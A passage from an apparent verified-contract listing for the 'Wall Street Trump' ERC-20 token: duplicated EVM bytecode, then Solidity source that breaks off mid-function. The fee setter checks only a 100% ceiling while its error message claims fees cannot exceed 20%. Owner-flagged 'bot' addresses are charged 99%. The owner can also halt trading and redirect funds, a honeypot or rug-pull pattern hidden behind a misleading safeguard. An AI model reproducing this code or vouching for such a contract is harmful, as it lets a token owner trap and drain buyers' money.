6d756d2077616c6c657420616d6f756e742e00006044820152606401610671565b6007546001600160a01b0384811691161461117b576019548111158061111957506001600160a01b0383165f9081526004602052604090205460ff165b8061113b57506001600160a01b0382165f9081526004602052604090205460ff165b61117b5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610671565b601854811115806111a357506001600160a01b0383165f9081526004602052604090205460ff165b806111c557506001600160a01b0382165f9081526004602052604090205460ff165b6112055760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610671565b6007546001600160a01b03838116911614801561123a57506001600160a01b0383165f9081526004602052604090205460ff16155b1561125757600160085f8282546112519190611cc2565b90915550505b611262838383611515565b1561127757611272600b5461139a565b5f6008555b6001600160a01b0383165f908152600260205260409020546112999082610e12565b6001600160a01b0384165f908152600260205260408120919091556112be84846115cd565b6112c857816112d3565b6112d3848484611611565b6001600160a01b0384165f908152600260205260409020549091506112f8908261150a565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061134b9085815260200190565b60405180910390a350505050565b5f818484111561137c5760405162461bcd60e51b815260040161067191906119b3565b505050900390565b5f6106418284611cd5565b5f6106418284611cec565b6009805460ff19166001908117909155600f54600e54600d545f936113d3936002936106fd9391926113cd92839161150a565b9061150a565b90505f6113ef82610696600d548661138490919063ffffffff16565b90505f6113fc8483610e12565b90504761140882611713565b5f6114134783610e12565b90505f61143561142e600d5488610e1290919063ffffffff16565b839061138f565b90505f61144d600d548361138490919063ffffffff16565b9050801561145f5761145f8682611863565b600e545f90611473906106fd856002611384565b905080156114b4576016546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156114b2573d5f803e3d5ffd5b505b4780156114f4576015546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156114f2573d5f803e3d5ffd5b505b50506009805460ff191690555050505050505050565b5f6106418284611cc2565b600c54600b54305f9081526002602052604081205460095491938510159211159060ff1615801561154f5750600754600160a81b900460ff165b80156115645750600754600160a01b900460ff165b801561156d5750815b801561159157506001600160a01b0386165f9081526004602052604090205460ff16155b80156115aa57506007546001600160a01b038681169116145b80156115ba5750600a5460085410155b80156115c35750805b9695505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156106415750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f8061161d8585611914565b111561170c575f61163f6116318686611914565b6014546106fd90869061138f565b305f9081526002602052604090205490915061165b908261150a565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ab9085815260200190565b60405180910390a35f6010541180156116ce57506010546116cc8686611914565b115b156116fa576116fa3061dead6116f56010546106fd6014548961138f90919063ffffffff16565b610e1d565b6117048382610e12565b915050610641565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061174657611746611c55565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561179d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117c19190611d0b565b816001815181106117d4576117d4611c55565b6001600160a01b0392831660209182029290920101526006546117fa9130911684610cef565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906118329085905f90869030904290600401611d26565b5f604051808303815f87803b158015611849575f80fd5b505af115801561185b573d5f803e3d5ffd5b505050505050565b60065461187b9030906001600160a01b031684610cef565b60065460175460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156118e8573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061190d9190611d97565b5050505050565b6001600160a01b0382165f9081526005602052604081205460ff168061195157506001600160a01b0382165f9081526005602052604090205460ff165b1561196b57601454611964906064610e12565b905061056a565b6007546001600160a01b039081169083160361198a575060125461056a565b6007546001600160a01b03908116908416036119a9575060115461056a565b5060135492915050565b5f602080835283518060208501525f5b818110156119df578581018301518582016040015282016119c3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611a13575f80fd5b50565b5f8060408385031215611a27575f80fd5b8235611a32816119ff565b946020939093013593505050565b5f805f60608486031215611a52575f80fd5b8335611a5d816119ff565b92506020840135611a6d816119ff565b929592945050506040919091013590565b5f60208284031215611a8e575f80fd5b8135610641816119ff565b5f805f60608486031215611aab575f80fd5b505081359360208301359350604090920135919050565b8015158114611a13575f80fd5b5f805f60408486031215611ae1575f80fd5b833567ffffffffffffffff80821115611af8575f80fd5b818601915086601f830112611b0b575f80fd5b813581811115611b19575f80fd5b8760208260051b8501011115611b2d575f80fd5b60209283019550935050840135611b4381611ac2565b809150509250925092565b5f8060408385031215611b5f575f80fd5b8235611b6a816119ff565b91506020830135611b7a81611ac2565b809150509250929050565b5f805f60608486031215611b97575f80fd5b8335611ba2816119ff565b92506020840135611bb2816119ff565b91506040840135611b43816119ff565b5f8060408385031215611bd3575f80fd5b8235611bde816119ff565b91506020830135611b7a816119ff565b5f805f805f805f60e0888a031215611c04575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611c79575f80fd5b5051919050565b5f60208284031215611c90575f80fd5b815161064181611ac2565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561056a5761056a611c9b565b8082018082111561056a5761056a611c9b565b808202811582820484141761056a5761056a611c9b565b5f82611d0657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611d1b575f80fd5b8151610641816119ff565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611d765784516001600160a01b031683529383019391830191600101611d51565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611da9575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204cb297a14225055a24a1b025d07f7bd2363523c0e1bff054c230a90f819e7f4264736f6c63430008170033 | 608060405260043610610198575f3560e01c8063715018a6116100e757806395d89b4111610087578063a9059cbb11610062578063a9059cbb146104b9578063dd62ed3e146104d8578063de9502181461051c578063f2fde38b1461053b575f80fd5b806395d89b41146104505780639cfac46a1461047b578063a8aa1b311461049a575f80fd5b80637d1db4a5116100c25780637d1db4a5146103cd578063893d20e8146103e25780638cd4426d146104125780639213c35814610431575f80fd5b8063715018a61461038f57806378109e54146103a35780637cca52fe146103b8575f80fd5b806332bc67aa1161015257806348ff2b8b1161012d57806348ff2b8b1461031457806351bc3c851461033357806351cd7cc31461034757806370a082311461035b575f80fd5b806332bc67aa146102a657806339efcf9e146102c75780633f4218e0146102e6575f80fd5b806306fdde03146101a3578063095ea7b3146101ee57806318160ddd1461021d57806323b872dd1461023f5780632f54bf6e1461025e578063313ce5671461028b575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b50604080518082019091526011815270057616c6c20537472656574205472756d7607c1b60208201525b6040516101e591906119b3565b60405180910390f35b3480156101f9575f80fd5b5061020d610208366004611a16565b61055a565b60405190151581526020016101e5565b348015610228575f80fd5b50610231610570565b6040519081526020016101e5565b34801561024a575f80fd5b5061020d610259366004611a40565b6105e0565b348015610269575f80fd5b5061020d610278366004611a7e565b5f546001600160a01b0391821691161490565b348015610296575f80fd5b50604051600981526020016101e5565b3480156102b1575f80fd5b506102c56102c0366004611a99565b610648565b005b3480156102d2575f80fd5b506102c56102e1366004611acf565b61078d565b3480156102f1575f80fd5b5061020d610300366004611a7e565b60046020525f908152604090205460ff1681565b34801561031f575f80fd5b506102c561032e366004611b4e565b610820565b34801561033e575f80fd5b506102c5610873565b348015610352575f80fd5b506102c56108a9565b348015610366575f80fd5b50610231610375366004611a7e565b6001600160a01b03165f9081526002602052604090205490565b34801561039a575f80fd5b506102c56108e7565b3480156103ae575f80fd5b50610231601a5481565b3480156103c3575f80fd5b5061023160195481565b3480156103d8575f80fd5b5061023160185481565b3480156103ed575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101e5565b34801561041d575f80fd5b506102c561042c366004611a16565b610954565b34801561043c575f80fd5b506102c561044b366004611b85565b610a68565b34801561045b575f80fd5b5060408051808201909152600381526215d4d560ea1b60208201526101d8565b348015610486575f80fd5b506102c5610495366004611a99565b610b0c565b3480156104a5575f80fd5b506007546103fa906001600160a01b031681565b3480156104c4575f80fd5b5061020d6104d3366004611a16565b610b71565b3480156104e3575f80fd5b506102316104f2366004611bc2565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610527575f80fd5b506102c5610536366004611bee565b610b7d565b348015610546575f80fd5b506102c5610555366004611a7e565b610c73565b5f610566338484610cef565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926105db9290916105d59190610e12565b90610e12565b905090565b5f6105ec848484610e1d565b61063d843361063885604051806060016040528060288152602001611dc3602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190611359565b610cef565b5060015b9392505050565b5f546001600160a01b0316331461067a5760405162461bcd60e51b815260040161067190611c35565b60405180910390fd5b5f61069c6127106106968660015461138490919063ffffffff16565b9061138f565b90505f6106ba6127106106968660015461138490919063ffffffff16565b90505f6106d86127106106968660015461138490919063ffffffff16565b60188490556019839055601a81905590505f6107036103e861069660056106fd610570565b90611384565b90508084101580156107155750808310155b80156107215750808210155b6107845760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610671565b50505050505050565b5f546001600160a01b031633146107b65760405162461bcd60e51b815260040161067190611c35565b5f5b8281101561081a578160055f8686858181106107d6576107d6611c55565b90506020020160208101906107eb9190611a7e565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556001016107b8565b50505050565b5f546001600160a01b031633146108495760405162461bcd60e51b815260040161067190611c35565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461089c5760405162461bcd60e51b815260040161067190611c35565b6108a7600b5461139a565b565b5f546001600160a01b031633146108d25760405162461bcd60e51b815260040161067190611c35565b6007805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146109105760405162461bcd60e51b815260040161067190611c35565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461097d5760405162461bcd60e51b815260040161067190611c35565b6040516370a0823160e01b81523060048201525f906109f2906064906106969085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156109ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fd9190611c69565b60155460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af1158015610a44573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081a9190611c80565b5f546001600160a01b03163314610a915760405162461bcd60e51b815260040161067190611c35565b601680546001600160a01b039485166001600160a01b0319918216811790925560178054948616948216851790556015805493909516921682179093555f92835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b5f546001600160a01b03163314610b355760405162461bcd60e51b815260040161067190611c35565b600a839055600154610b5090620186a0906106969085611384565b600b55600154610b6990620186a0906106969084611384565b600c55505050565b5f610566338484610e1d565b5f546001600160a01b03163314610ba65760405162461bcd60e51b815260040161067190611c35565b600d879055600e8690556010859055600f849055601183905560128290556013819055601454610bd790600161138f565b60115411158015610bf75750601454610bf190600161138f565b60125411155b8015610c125750601454610c0c90600161138f565b60135411155b6107845760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610671565b5f546001600160a01b03163314610c9c5760405162461bcd60e51b815260040161067190611c35565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610d515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610671565b6001600160a01b038216610db25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610671565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6106418284611caf565b6001600160a01b038316610e815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610671565b6001600160a01b038216610ee35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610671565b6001600160a01b0383165f90815260026020526040902054811115610f645760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610671565b6001600160a01b0383165f9081526004602052604090205460ff16158015610fa457506001600160a01b0382165f9081526004602052604090205460ff16155b15610ff357600754600160a01b900460ff16610ff35760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610671565b6001600160a01b0383165f9081526004602052604090205460ff1615801561103357506001600160a01b0382165f9081526004602052604090205460ff16155b801561104d57506007546001600160a01b03838116911614155b801561106457506001600160a01b03821661dead14155b156110dc57601a546001600160a01b0383165f9081526002602052604090205461108e908361150a565b11156110dc5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610671565b6007546001600160a01b0384811691161461117b576019548111158061111957506001600160a01b0383165f9081526004602052604090205460ff165b8061113b57506001600160a01b0382165f9081526004602052604090205460ff165b61117b5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610671565b601854811115806111a357506001600160a01b0383165f9081526004602052604090205460ff165b806111c557506001600160a01b0382165f9081526004602052604090205460ff165b6112055760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610671565b6007546001600160a01b03838116911614801561123a57506001600160a01b0383165f9081526004602052604090205460ff16155b1561125757600160085f8282546112519190611cc2565b90915550505b611262838383611515565b1561127757611272600b5461139a565b5f6008555b6001600160a01b0383165f908152600260205260409020546112999082610e12565b6001600160a01b0384165f908152600260205260408120919091556112be84846115cd565b6112c857816112d3565b6112d3848484611611565b6001600160a01b0384165f908152600260205260409020549091506112f8908261150a565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061134b9085815260200190565b60405180910390a350505050565b5f818484111561137c5760405162461bcd60e51b815260040161067191906119b3565b505050900390565b5f6106418284611cd5565b5f6106418284611cec565b6009805460ff19166001908117909155600f54600e54600d545f936113d3936002936106fd9391926113cd92839161150a565b9061150a565b90505f6113ef82610696600d548661138490919063ffffffff16565b90505f6113fc8483610e12565b90504761140882611713565b5f6114134783610e12565b90505f61143561142e600d5488610e1290919063ffffffff16565b839061138f565b90505f61144d600d548361138490919063ffffffff16565b9050801561145f5761145f8682611863565b600e545f90611473906106fd856002611384565b905080156114b4576016546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156114b2573d5f803e3d5ffd5b505b4780156114f4576015546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156114f2573d5f803e3d5ffd5b505b50506009805460ff191690555050505050505050565b5f6106418284611cc2565b600c54600b54305f9081526002602052604081205460095491938510159211159060ff1615801561154f5750600754600160a81b900460ff165b80156115645750600754600160a01b900460ff165b801561156d5750815b801561159157506001600160a01b0386165f9081526004602052604090205460ff16155b80156115aa57506007546001600160a01b038681169116145b80156115ba5750600a5460085410155b80156115c35750805b9695505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156106415750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f8061161d8585611914565b111561170c575f61163f6116318686611914565b6014546106fd90869061138f565b305f9081526002602052604090205490915061165b908261150a565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ab9085815260200190565b60405180910390a35f6010541180156116ce57506010546116cc8686611914565b115b156116fa576116fa3061dead6116f56010546106fd6014548961138f90919063ffffffff16565b610e1d565b6117048382610e12565b915050610641565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061174657611746611c55565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561179d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117c19190611d0b565b816001815181106117d4576117d4611c55565b6001600160a01b0392831660209182029290920101526006546117fa9130911684610cef565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906118329085905f90869030904290600401611d26565b5f604051808303815f87803b158015611849575f80fd5b505af115801561185b573d5f803e3d5ffd5b505050505050565b60065461187b9030906001600160a01b031684610cef565b60065460175460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156118e8573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061190d9190611d97565b5050505050565b6001600160a01b0382165f9081526005602052604081205460ff168061195157506001600160a01b0382165f9081526005602052604090205460ff165b1561196b57601454611964906064610e12565b905061056a565b6007546001600160a01b039081169083160361198a575060125461056a565b6007546001600160a01b03908116908416036119a9575060115461056a565b5060135492915050565b5f602080835283518060208501525f5b818110156119df578581018301518582016040015282016119c3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611a13575f80fd5b50565b5f8060408385031215611a27575f80fd5b8235611a32816119ff565b946020939093013593505050565b5f805f60608486031215611a52575f80fd5b8335611a5d816119ff565b92506020840135611a6d816119ff565b929592945050506040919091013590565b5f60208284031215611a8e575f80fd5b8135610641816119ff565b5f805f60608486031215611aab575f80fd5b505081359360208301359350604090920135919050565b8015158114611a13575f80fd5b5f805f60408486031215611ae1575f80fd5b833567ffffffffffffffff80821115611af8575f80fd5b818601915086601f830112611b0b575f80fd5b813581811115611b19575f80fd5b8760208260051b8501011115611b2d575f80fd5b60209283019550935050840135611b4381611ac2565b809150509250925092565b5f8060408385031215611b5f575f80fd5b8235611b6a816119ff565b91506020830135611b7a81611ac2565b809150509250929050565b5f805f60608486031215611b97575f80fd5b8335611ba2816119ff565b92506020840135611bb2816119ff565b91506040840135611b43816119ff565b5f8060408385031215611bd3575f80fd5b8235611bde816119ff565b91506020830135611b7a816119ff565b5f805f805f805f60e0888a031215611c04575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611c79575f80fd5b5051919050565b5f60208284031215611c90575f80fd5b815161064181611ac2565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561056a5761056a611c9b565b8082018082111561056a5761056a611c9b565b808202811582820484141761056a5761056a611c9b565b5f82611d0657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611d1b575f80fd5b8151610641816119ff565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611d765784516001600160a01b031683529383019391830191600101611d51565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611da9575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204cb297a14225055a24a1b025d07f7bd2363523c0e1bff054c230a90f819e7f4264736f6c63430008170033 | /**
Telegram : https://t.me/WallStreetTrumpEth
Twitter : https://x.com/waIIStreetTrump
Website : https://www.wallstreettrumpeth.xyz
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {owner = _owner;}
modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
function isOwner(address account) public view returns (bool) {return account == owner;}
function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract WallStreetTrump is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = 'Wall Street Trump';
string private constant _symbol = 'WST';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 10000000 * (10 ** _decimals);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = false;
bool private swapEnabled = true;
uint256 private swapTimes;
bool private swapping;
uint256 swapAmount = 1;
uint256 private swapThreshold = ( _totalSupply * 100 ) / 100000;
uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
uint256 private liquidityFee = 0;
uint256 private marketingFee = 0;
uint256 private developmentFee = 0;
uint256 private burnFee = 0;
uint256 private totalFee = 0;
uint256 private sellFee = 0;
uint256 private transferFee = 2500;
uint256 private denominator = 10000;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal development_receiver = 0x73b9A5c4Ff988b174fA7De2Aadb7AB3da3A22cEC;
address internal marketing_receiver = 0x73b9A5c4Ff988b174fA7De2Aadb7AB3da3A22cEC;
address internal liquidity_receiver = 0x73b9A5c4Ff988b174fA7De2Aadb7AB3da3A22cEC;
uint256 public _maxTxAmount = ( _totalSupply * 150 ) / 10000;
uint256 public _maxSellAmount = ( _totalSupply * 150 ) / 10000;
uint256 public _maxWalletToken = ( _totalSupply * 150 ) / 10000;
constructor() Ownable(msg.sender) {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router; pair = _pair;
isFeeExempt[address(this)] = true;
isFeeExempt[liquidity_receiver] = true;
isFeeExempt[marketing_receiver] = true;
isFeeExempt[development_receiver] = true;
isFeeExempt[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function OpenTrading() external onlyOwner {tradingAllowed = true;}
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= minTokenAmount;
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
}
function setContractSwapFido(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000));
minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
}
function setTransactionRequireFido(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
}
function setTransactionLimitFido(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
_maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
uint256 limit = totalSupply().mul(5).div(1000);
require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
}
function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
}
function setBot(address[] calldata addresses, bool _enabled) external onlyOwner {
for(uint i=0; i < addresses.length; i++){
isBot[addresses[i]] = _enabled; }
}
function manualSwap() external onlyOwner {
swapAndLiquify(swapThreshold);
}
function rescueERC20(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(development_receiver, _amount);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
uint256 contractBalance = address(this).balance;
if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidity_receiver,
block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
